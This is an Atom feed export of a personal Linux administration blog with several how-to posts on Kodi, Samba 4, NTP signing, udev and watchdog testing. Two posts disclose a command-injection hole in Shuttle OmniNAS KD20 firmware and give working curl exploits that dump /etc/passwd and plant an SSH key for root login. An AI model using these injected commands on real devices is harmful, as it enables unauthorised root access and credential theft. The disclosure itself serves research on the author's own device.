<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1858402208452860331</id><updated>2025-09-13T08:16:04.343-07:00</updated><category term="ubuntu"/><category term="linux"/><category term="gentoo"/><category term="grub"/><category term="awn"/><category term="avahi"/><category term="Mac"/><category term="gaim"/><category term="howto"/><category term="kerberos"/><category term="mac os x"/><category term="openldap"/><category term="samba4"/><category term="ssh"/><category term="syslinux"/><category term="tv"/><category term="usb"/><category term="active directory"/><category term="alfresco"/><category term="bonjour"/><category term="daap"/><category term="gcc"/><category term="google"/><category term="gstreamer"/><category term="ipod touch"/><category term="itouch"/><category term="itunes"/><category term="ldap"/><category term="ldif"/><category term="lucid"/><category term="mplayer"/><category term="osx"/><category term="remote"/><category term="rsync"/><category term="sudo"/><category term="tomcat"/><category term="tomcat6"/><category term="usb flash drive"/><category term="zeroconf"/><category term="2ndw"/><category term="915"/><category term="945"/><category term="DELL PowerEdge T110"/><category term="Dell Vostro 3550"/><category term="E4200"/><category term="G200eW"/><category term="Linksys"/><category term="Matrox"/><category term="OpenLdapRootDSE"/><category term="Xorg"/><category term="access point"/><category term="alfresco 3.3"/><category term="alfresco share"/><category term="alfresco ubuntu"/><category term="altServer"/><category term="apple"/><category term="arch"/><category term="backlight"/><category term="banshee"/><category term="bind"/><category term="bless"/><category term="broken"/><category term="channels"/><category term="comments"/><category term="config"/><category term="contextcsn"/><category term="convert"/><category term="convert pdf"/><category term="curl"/><category term="delete"/><category term="delete excluded"/><category term="dhcp"/><category term="display"/><category term="dlna"/><category term="dov4l"/><category term="ebuild"/><category term="efi"/><category term="ext4"/><category term="fdisk"/><category term="filter"/><category term="flash drive"/><category term="flv"/><category term="frontend"/><category term="gadgets"/><category term="gdm"/><category term="genkernel"/><category term="ggl"/><category term="ghostscript"/><category term="glue"/><category term="gparted"/><category term="grub-efi"/><category term="grub2"/><category term="grub4dos"/><category term="gs"/><category term="gssapi"/><category term="gst-plugins"/><category term="gzip"/><category term="hfsplus"/><category term="hoffman"/><category term="http"/><category term="i915"/><category term="initrd"/><category term="intel"/><category term="iphone"/><category term="itunes remote"/><category term="kernel"/><category term="kms"/><category term="lame"/><category term="ldapadd"/><category term="ldapmodify"/><category term="lid"/><category term="logitech touch mouse"/><category term="lts"/><category term="lucid lynx"/><category term="lvm"/><category term="mac mini"/><category term="macmini"/><category term="macos"/><category term="matroska"/><category term="maverick"/><category term="mdadm"/><category term="modem-manager"/><category term="modesetting"/><category term="move documents and settings"/><category term="mp4"/><category term="mysql"/><category term="mythtv"/><category term="netcat"/><category term="noob"/><category term="nptl"/><category term="nss"/><category term="ntfs"/><category term="ntfs volume mount point"/><category term="ntp"/><category term="ntp_signd"/><category term="objectclass"/><category term="olcAccess"/><category term="olcDefaultSearchBase"/><category term="olcRootDSE"/><category term="pairing"/><category term="pam"/><category term="pdf"/><category term="pdf restrictions"/><category term="perl"/><category term="pxe"/><category term="raid"/><category term="reboot"/><category term="recovery"/><category term="refit"/><category term="remote keyboard"/><category term="remote mouse"/><category term="remote reboot"/><category term="rootDSE"/><category term="samba"/><category term="samsung"/><category term="server"/><category term="setup"/><category term="sheevaplug"/><category term="slapadd"/><category term="slapd"/><category term="slapindex"/><category term="so"/><category term="softdog"/><category term="softraid"/><category term="sqlite"/><category term="sqlite3"/><category term="stack"/><category term="subschema"/><category term="synergy"/><category term="television"/><category term="touch mouse"/><category term="touchmoused"/><category term="tuner"/><category term="tv card"/><category term="ubuntu 10.04"/><category term="ubuntu-desktop"/><category term="uinput"/><category term="v4l"/><category term="v4l2src"/><category term="video4linux"/><category term="watchdog"/><category term="widescreen"/><category term="winbind"/><category term="windows"/><category term="wireless"/><category term="x264"/><category term="xnest"/><category term="youtube"/><title type='text'>mycroes&#39; blog</title><subtitle type='html'>There&#39;s always time to play</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>62</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-5716007660782240177</id><published>2017-09-06T13:39:00.000-07:00</published><updated>2017-09-06T13:39:30.684-07:00</updated><title type='text'>Fixing the Kodi RTLxl add-on</title><content type='html'>&lt;p&gt;
Today (or yesterday) RTL decided that you should no longer use the &lt;a href=&quot;http://kodi.wiki/view/Add-on:RTLxl&quot;&gt;RTLxl addon for Kodi&lt;/a&gt; and at the root level displays that you should use the RTLxl website instead. Thank you RTL, but I want to watch on my television without buying something new. (And I wouldn&#39;t mind if you put the commercials in, because I guess that&#39;s the only reason why you want people to use the website or app.)
&lt;/p&gt;
&lt;p&gt;
Now what could RTL have done to block the Kodi addon? Actually, not much, since &lt;a href=&quot;https://www.rieter.net/content/Retrospect&quot;&gt;Retrospect&lt;/a&gt; (which unfortunately mentions on its website that it&#39;s no longer available for legal reasons) was still working. So my best guess was that they were applying a user agent check and since the RTLxl addon is kinda old that would certainly be easy to do.
&lt;/p&gt;
&lt;p&gt;
So I went into the RTLxl addon folder in Kodi (&lt;code&gt;~/.kodi/addons/plugin/video.rtlxl/&lt;/code&gt;) and started editing &lt;code&gt;addon.py&lt;/code&gt;. There was one outdated User-Agent there, so I changed that to something more modern (&lt;a href=&quot;https://www.google.nl/search?q=my+user+agent&amp;oq=my+user+agent&quot;&gt;thank you Google&lt;/a&gt;). Restarted Kodi, no luck. But &lt;code&gt;addon.py&lt;/code&gt; is relatively small, so I went into &lt;code&gt;resources/lib&lt;/code&gt; and opened &lt;code&gt;rtlxl.py&lt;/code&gt;, which contained another few User-Agent strings. Replaced them all, restarted Kodi and my wife&#39;s happy again!
&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/5716007660782240177/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/5716007660782240177' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/5716007660782240177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/5716007660782240177'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2017/09/fixing-kodi-rtlxl-add-on.html' title='Fixing the Kodi RTLxl add-on'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-7394739291353869626</id><published>2015-02-17T12:55:00.000-08:00</published><updated>2015-02-17T12:55:29.086-08:00</updated><title type='text'>Getting root SSH access on Shuttle OmniNAS KD20</title><content type='html'>&lt;p&gt;
In the previous post I detailed a security vulnerability in the firmware for the Shutte OmniNAS KD20. In an attempt to remedy &lt;a href=&quot;https://bugzilla.samba.org/show_bug.cgi?id=10584&quot;&gt;Samba bug #10584&lt;/a&gt; I was trying to get more direct access to my OmniNAS. I already tried to start sshd and telnetd, but with no real success (they were running, logging in was a problem though).
&lt;/p&gt;
&lt;p&gt;
I wanted to get in without making too much changes, by putting a SSH public key on the share and pointing SSHD to it. But since that didn&#39;t work out I copied /etc/passwd to the disk share and &lt;code&gt;cat&lt;/code&gt;-ed it back (using &lt;code&gt;tee&lt;/code&gt; as well) with my user&#39;s shell set to &lt;code&gt;/bin/ash&lt;/code&gt;. That allowed me to log in after starting sshd, but adding my account to /etc/sudoers was required to get to the next level of control.
&lt;/p&gt;
&lt;p&gt;
Once I was in and with root permissions I was able to diagnose why my initial attempt didn&#39;t work. A simple &lt;code&gt;sshd -p 8022 -d&lt;/code&gt; showed me that there was a permissions &#39;problem&#39;, because SSHD is secure by default and ignores authorized keys with write permissions for other users. An additional &lt;code&gt;chmod&lt;/code&gt; fixed that as well, which brings me to the following two lines to accomplish root SSH access to the Shuttle OmniNAS KD20:
&lt;/p&gt;
&lt;pre&gt;
curl -F &#39;userfile=@.ssh/id_rsa.pub;filename=id_rsa.pub&#39; &#39;http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload&#39;

curl -F &#39;userfile=@/dev/null;filename=test.txt&#39; &#39;http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload&amp;p=%24(sudo%20mkdir%20%2Froot%2F.ssh%3B%20sudo%20chmod%20700%20%2Froot%2F.ssh%3B%20sudo%20cp%20%2Fshare%2Fatonnas%2Fdisk%2Fid_rsa.pub%20%2Froot%2F.ssh%2Fauthorized_keys%3B%20sudo%20chown%20-R%20root%3Aroot%20%2Froot%2F.ssh%3B%20sudo%20chmod%20644%20%2Froot%2F.ssh%2Fauthorized_keys%3B%20sudo%20chmod%20755%20%2Froot%3B%20sudo%20%2Fbin%2Fsshd)&#39;
&lt;/pre&gt;
&lt;p&gt;
In the above two lines the first line copies &lt;em&gt;id_rsa.pub&lt;/em&gt; to the disk share, the second line copies it to &lt;em&gt;/root/.ssh/authorized_keys&lt;/em&gt;, sets permissions that are acceptable for SSHD and starts &lt;code&gt;sshd&lt;/code&gt;.
&lt;/p&gt;
&lt;p&gt;
Now all you need to do is &lt;code&gt;ssh root@192.168.x.x&lt;/code&gt; and you&#39;re in!
&lt;/p&gt;
&lt;p&gt;
Happy hacking!
&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/7394739291353869626/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/7394739291353869626' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/7394739291353869626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/7394739291353869626'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2015/02/getting-root-ssh-access-on-shuttle.html' title='Getting root SSH access on Shuttle OmniNAS KD20'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-1620294684798606973</id><published>2015-02-15T14:35:00.000-08:00</published><updated>2015-02-15T14:35:18.465-08:00</updated><title type='text'>Executing commands on Shuttle&#39;s Omninas KD20</title><content type='html'>&lt;p&gt;
Because the firmware on the Omninas KD20 is somewhat broken (see &lt;a href=&quot;https://bugzilla.samba.org/show_bug.cgi?id=10584&quot;&gt;Samba bug #10584&lt;/a&gt;) I was trying to get access in an attempt to fix it. Fortunately some people figured there was easy access with old firmware and documented at &lt;a href=&quot;http://forum.nas-central.org/viewtopic.php?f=287&amp;t=15817&amp;start=15&quot;&gt;nas-central&lt;/a&gt; how to decrypt the firmware, which applies to current firmware as well. Once I had rootfs.ubi mounted using nandsim I went looking for possible remote exploits and I found one in an external accessible page without password protection.
&lt;/p&gt;
&lt;p&gt;
To make a long story short, this page will pass a GET variable right into an exec call without any verification. As a result, all you need to do is call curl with an url-encoded command as in the following example:
&lt;/p&gt;
&lt;pre&gt;curl -F &#39;userfile=@/dev/null;filename=&quot;test.txt&quot;&#39; &#39;http://192.168.x.x/filesystem/api-1.0/dir_action.php?type=upload&amp;p=%24(sudo%20cat%20%2Fetc%2Fpasswd%20%3E%20%2Fshare%2Fatonnas%2Fdisk%2Ftest.passwd)&#39;&lt;/pre&gt;
&lt;p&gt;
The above command will put the contents of /etc/passwd in test.passwd in the default &#39;disk&#39; share. And yes, as a bonus you also get an empty file called test.txt in the same folder!
&lt;/p&gt;
&lt;p&gt;
Happy hacking!
&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/1620294684798606973/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/1620294684798606973' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/1620294684798606973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/1620294684798606973'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2015/02/executing-commands-on-shuttles-omninas.html' title='Executing commands on Shuttle&#39;s Omninas KD20'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-1080688835331626920</id><published>2013-05-23T00:10:00.000-07:00</published><updated>2013-05-23T00:10:32.065-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="softdog"/><category scheme="http://www.blogger.com/atom/ns#" term="watchdog"/><title type='text'>Testing Watchdog related code without reboots</title><content type='html'>&lt;p&gt;
While writing some code for handling the Watchdog on the Raspberry Pi I wanted to verify what I had written so far. If using the character-based approach it&#39;s easy to simulate with any file and watch the contents, but when using IOCTL&#39;s or for a more realistic test it&#39;s better to just use a real Watchdog driver. Fortunately it&#39;s easy to do on Linux without causing any sudden reboots when the Watchdog isn&#39;t stopped when exiting your program. There&#39;s a &lt;em&gt;softdog&lt;/em&gt; module that is providing a software-level watchdog driver, which can also be set up not to reboot at all, which makes testing really easy. Let&#39;s start by loading the module:
&lt;/p&gt;
&lt;pre&gt;$ &lt;em&gt;sudo modprobe softdog soft_noboot=1 soft_margin=15&lt;/em&gt;&lt;/pre&gt;

&lt;p&gt;
&lt;code&gt;dmesg | grep softdog&lt;/code&gt; should include a line similar to this:
&lt;/p&gt;
&lt;pre&gt;softdog: Software Watchdog Timer: 0.08 initialized. soft_noboot=1 soft_margin=15 sec soft_panic=0 (nowayout=0)&lt;/pre&gt;

&lt;p&gt;
Now you can run your watchdog code, for example &lt;code&gt;echo a | sudo tee /dev/watchdog&lt;/code&gt; (just don&#39;t use &lt;em&gt;V&lt;/em&gt;, because it stops the watchdog) and a line similar to this will show:
&lt;/p&gt;
&lt;pre&gt;watchdog watchdog0: watchdog did not stop!&lt;/pre&gt;
&lt;p&gt;
Now if you wait another 15 seconds (as set by the &lt;em&gt;soft_margin&lt;/em&gt; argument to modprobe) you will see the following message:
&lt;/p&gt;
&lt;pre&gt;softdog: Triggered - Reboot ignored&lt;/pre&gt;
&lt;p&gt;
That&#39;s it. The watchdog was triggered, left running, and it triggered. You can run it again and again, and your system won&#39;t suddenly reboot (as it would when testing with the actual hardware watchdog).
&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/1080688835331626920/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/1080688835331626920' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/1080688835331626920'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/1080688835331626920'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2013/05/testing-watchdog-related-code-without.html' title='Testing Watchdog related code without reboots'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-3138616001878496618</id><published>2013-04-02T01:24:00.002-07:00</published><updated>2013-04-02T01:24:54.768-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="modem-manager"/><category scheme="http://www.blogger.com/atom/ns#" term="sheevaplug"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Prevent Ubuntu (12.10+) modem-manager from keeping your Sheevaplug busy</title><content type='html'>&lt;p&gt;
As of Ubuntu 12.10 the very helpful &lt;em&gt;modem-manager&lt;/em&gt; will try to connect to about any serial device. Unfortunately that means that when you connect a Marvell Sheevaplug it will connect to that as well, resulting in device or resource busy error when trying to open a screen session to your Sheevaplug. However, the solution is fairly easy, just add the following to &lt;em&gt;/etc/udev/rules.d/70-mm-no-sheevaplug.rules&lt;/em&gt;:
&lt;/p&gt;
&lt;pre&gt;ACTION!=&quot;add|change&quot;, GOTO=&quot;mm_usb_device_blacklist_end&quot;
SUBSYSTEM!=&quot;usb&quot;, GOTO=&quot;mm_usb_device_blacklist_end&quot;
ENV{DEVTYPE}!=&quot;usb_device&quot;,  GOTO=&quot;mm_usb_device_blacklist_end&quot;

# Marvell Sheevaplug
ATTRS{idVendor}==&quot;9e88&quot;, ATTRS{idProduct}==&quot;9e8f&quot;, ENV{ID_MM_DEVICE_IGNORE}=&quot;1&quot;

LABEL=&quot;mm_usb_device_blacklist_end&quot;&lt;/pre&gt;

&lt;p&gt;
Now do a simple &lt;code&gt;&lt;em&gt;sudo service udev reload&lt;/em&gt;&lt;/code&gt;, and enjoy your screen sessions with the Sheevaplug again!
&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/3138616001878496618/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/3138616001878496618' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/3138616001878496618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/3138616001878496618'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2013/04/prevent-ubuntu-1210-modem-manager-from.html' title='Prevent Ubuntu (12.10+) modem-manager from keeping your Sheevaplug busy'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-4070244546786161284</id><published>2013-03-28T14:20:00.000-07:00</published><updated>2013-04-02T01:25:44.368-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ntp"/><category scheme="http://www.blogger.com/atom/ns#" term="ntp_signd"/><category scheme="http://www.blogger.com/atom/ns#" term="samba4"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Setting up NTP signing (ntp_signd) with Samba 4 (in other words: providing time to Windows clients)</title><content type='html'>&lt;p&gt;
In an Active Directory domain, the focus usually is on Windows clients. One key aspect in an Active Directory domain is time synchronization. If you&#39;re here you probably know something about NTP, and maybe even that Windows won&#39;t just use the NTP server you specify using DHCP. The reason is that Windows wants a NTP server that provides signed NTP responses. &lt;em&gt;ntpd&lt;/em&gt; actually supports providing these signed responses, but in order to do so it requires a signing provider. Samba 4 can provide this, by way of a socket specifically made for this purpose.
&lt;/p&gt;
&lt;p&gt;
This post continues where I left off with &lt;a href=&quot;http://blog.mycroes.nl/2013/03/install-samba-404-on-ubuntu-1204-lts.html&quot;&gt;Install Samba 4(.0.4) on Ubuntu 12.04 LTS, from source&lt;/a&gt;. It assumes Samba is already working properly, and that the ntp_signd task/service is enabled (which is by default). If you didn&#39;t install ntpd yet, do it with the following command:
&lt;/p&gt;
&lt;pre&gt;$ &lt;em&gt;sudo apt-get install ntp&lt;/em&gt;&lt;/pre&gt;
&lt;p&gt;
The socket that is used for signing responses resides at &lt;em&gt;/usr/local/samba/var/lib/ntp_signd/socket&lt;/em&gt;. The permissions on the socket should indicate that it&#39;s world writable, the permissions on the &lt;em&gt;ntp_signd&lt;/em&gt; directory however only allow root (as user) full read/write and root (as group) read access. In order to allow ntpd to write to the socket it&#39;s necessary to grant it permissions on the ntp_signd directory, which we can do as follows:
&lt;/p&gt;
&lt;pre&gt;$ &lt;em&gt;sudo chgrp ntp /usr/local/samba/var/lib/ntp_signd&lt;/em&gt;&lt;/pre&gt;
&lt;p&gt;
There&#39;s no need to change permissions of the socket file, if ntp can access it, it can write to it as well (remember, it&#39;s world writable).
&lt;/p&gt;
&lt;p&gt;
There is an issue one might easily overlook. By default Ubuntu comes with &lt;em&gt;apparmor&lt;/em&gt; enabled, which will prevent some programs from accessing files they normally shouldn&#39;t access. One of the programs that is actually configured to be restricted by apparmor, is ntp. Because Ubuntu by default doesn&#39;t know about our source-compiled Samba 4 installation, it also doesn&#39;t know about the ntp_signd socket. The fix for this is to edit &lt;em&gt;/etc/apparmor.d/local/usr.sbin.ntpd&lt;/em&gt;:
&lt;/p&gt;
&lt;pre&gt;# Site-specific additions and overrides for usr.sbin.ntpd.
# For more details, please see /etc/apparmor.d/local/README.
&lt;ins&gt;/usr/local/samba/var/lib/ntp_signd/socket rw,&lt;/ins&gt;&lt;/pre&gt;
&lt;p&gt;
Last but not least we need to configure ntpd so it knows that it is allowed to do signed responses and how it should sign them. This requires the addition of the following lines to &lt;em&gt;/etc/ntp.conf&lt;/em&gt; (rest of file omitted for brevity):
&lt;/p&gt;
&lt;pre&gt;ntpsigndsocket /usr/local/samba/var/lib/ntp_signd
restrict default mssntp&lt;/pre&gt;
&lt;p&gt;
Now restart ntpd:
&lt;/p&gt;
&lt;pre&gt;$ &lt;em&gt;sudo service ntp restart&lt;/em&gt;&lt;/pre&gt;
&lt;p&gt;
That should be it, but beware! ntpd needs some time to establish a reliable time for itself. Before it has established a reliable time it&#39;s useless. You can check if it has established time by running the following command:
&lt;/p&gt;
&lt;pre&gt;$ &lt;em&gt;ntpdate -q localhost&lt;/em&gt;
server 127.0.0.1, stratum 3, offset -0.000004, delay 0.02563
28 Mar 22:03:29 ntpdate[15015]: adjust time server 127.0.0.1 offset -0.000004 sec&lt;/pre&gt;
&lt;p&gt;
In the output above it shows &lt;em&gt;stratum 3&lt;/em&gt;, if it shows a higher number I guess you can forget requesting time from the server. In my case it will start at 16 and jump back to 3, at which point it has established a reliable time for itself.
&lt;/p&gt;
&lt;p&gt;
At this point you can test with a Windows client. Just open a command prompt and type the following:
&lt;/p&gt;
&lt;pre&gt;C:\&amp;gt;&lt;em&gt;w32tm /resync&lt;/em&gt;
Sending resync command to local computer...
The command completed successfully.

C:\&amp;gt;&lt;/pre&gt;
&lt;p&gt;
And that&#39;s it! If it doesn&#39;t work out this well for you, then I&#39;d suggest you start by running ntpd in debug mode, which will at least show when it&#39;s receiving requests from clients:
&lt;/p&gt;
&lt;pre&gt;$ &lt;em&gt;sudo service ntp stop&lt;/em&gt;
$ &lt;em&gt;sudo ntpd -d&lt;/em&gt;&lt;/pre&gt;
&lt;p&gt;
If it doesn&#39;t work, or you want to thank me for the instructions, use the comments!
&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mycroes.nl/feeds/4070244546786161284/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/1858402208452860331/4070244546786161284' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/4070244546786161284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1858402208452860331/posts/default/4070244546786161284'/><link rel='alternate' type='text/html' href='http://blog.mycroes.nl/2013/03/setting-up-ntp-signing-ntpsignd-with.html' title='Setting up NTP signing (ntp_signd) with Samba 4 (in other words: providing time to Windows clients)'/><author><name>Michael Croes</name><uri>http://www.blogger.com/profile/01262545625826742218</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1858402208452860331.post-3307513979781053062</id><published>2013-03-22T16:44:00.000-07:00</published><updated>2013-04-02T01:25:18.135-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="samba4"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Install Samba 4(.0.4) on Ubuntu 12.04 LTS, from source</title><content type='html'>&lt;p&gt;
At the office we&#39;ve been running Samba 4 for quite a while already. However, the version(s) in use date back to what was found in Ubuntu releases available at install time. The Samba team has actually done a great job at releasing a stable version for Samba 4, but I haven&#39;t seen anyone offering prebuilt packages for Ubuntu.
&lt;/p&gt;

&lt;p&gt;
Recently I have been wondering if it would be a good idea to build Samba 4 from source instead. I don&#39;t like this approach much, because I prefer having all packages handled by the package manager. Then again, &lt;em&gt;/usr/local/&lt;/em&gt; doesn&#39;t need to stay empty, and my domain controllers are just that; domain controllers.
&lt;/p&gt;

&lt;p&gt;
So yesterday I did my first attempt at building Samba from source, which went so well that I did it again today, on a fresh new Ubuntu 12.04 LTS install. I actually switched it to the IP of the primary DC as well, and stopped the old primary DC because the new one was working without any issues at all.
&lt;/p&gt;

&lt;p&gt;
Now onto the actual instructions (assumes a clean 12.04 LTS basic Ubuntu server install):
&lt;/p&gt;
&lt;pre&gt;$ &lt;em&gt;mkdir src&lt;/em&gt;
$ &lt;em&gt;cd src&lt;/em&gt;

$ &lt;em&gt;wget http://ftp.samba.org/pub/samba/samba-4.0.4.tar.gz&lt;/em&gt;
$ &lt;em&gt;tar xf samba-4.0.4.tar.gz&lt;/em&gt;
$ &lt;em&gt;cd samba-4.0.4&lt;/em&gt;

$ &lt;em&gt;sudo apt-get install build-essential pkg-config libkrb5-dev libacl1-dev \
libattr1-dev python2.7-dev libpam0g-dev libldap2-dev&lt;/em&gt;

$ &lt;em&gt;./configure &amp;&amp; make&lt;/em&gt;

$ &lt;em&gt;sudo make install&lt;/em&gt;&lt;/pre&gt;

&lt;p&gt;
I&#39;ve omitted all of the output, since the process was so easy. The description is easy as well:
&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Make a directory to store the samba source in&lt;/li&gt;
&lt;li&gt;Download the Samba 4.0.4 source file&lt;/li&gt;
&lt;li&gt;Extract it&lt;/li&gt;
&lt;li&gt;Install build utilities, Samba dependencies&lt;/li&gt;
&lt;li&gt;Configure and build Samba&lt;/li&gt;
&lt;li&gt;Install Samba into &lt;em&gt;/usr/local/samba&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
After these steps you can either follow the Samba 4 documentation to provision a new domain or join a domain, or copy the necessary files from your old domain controller onto this one if you&#39;re replacing your domain controller.
&lt;/p&gt;

&lt;p&gt;
There is one important final step, and that&#39;s to create an init file. On the &lt;a href=&quot;https://wiki.samba.org/index.php/Samba4/InitScript&quot;&gt;Samba 4 InitScript&lt;/a&gt; page there&#39;s a script listed that will work just fine, I copied it here for reference:
&lt;/p&gt;
&lt;pre&gt;description &quot;SMB/CIFS File and Active Directory Server&quot;
author      &quot;Jelmer Vernooij &lt;jelmer@ubuntu.com&gt;&quot;
start on (local-filesystems and net-device-up)
stop on runlevel [!2345]
expect fork
normal exit 0
pre-start script
 [ -r /etc/default/samba4 ] &amp;&amp; . /etc/default/samba4
 install -o root -g root -m 755 -d /var/run/samba
 install -o root -g root -m 755 -d /var/log/samba
end script
exec /usr/local/samba/sbin/samba -D&lt;/pre&gt;
&lt;p&gt;
Copy this file to &lt;em&gt;/etc/init/samba4.conf&lt;/em&gt; and you can use &lt;code&gt;service samba4 start&lt;/code&gt; to start Samba 4.
&lt;/p&gt;

&lt;p&gt;
All of these steps will probably apply to Ubuntu 12.10 as well, but I haven&#39;t verified yet. Also, since Samba 4 doesn&#39;t require anything that&#39;s not in Ubuntu 12.04 LTS, it might be wise to stick to this release until another LTS is released.
&lt;/p&gt;

&lt;p&gt;
Please share any thoughts using the comments!
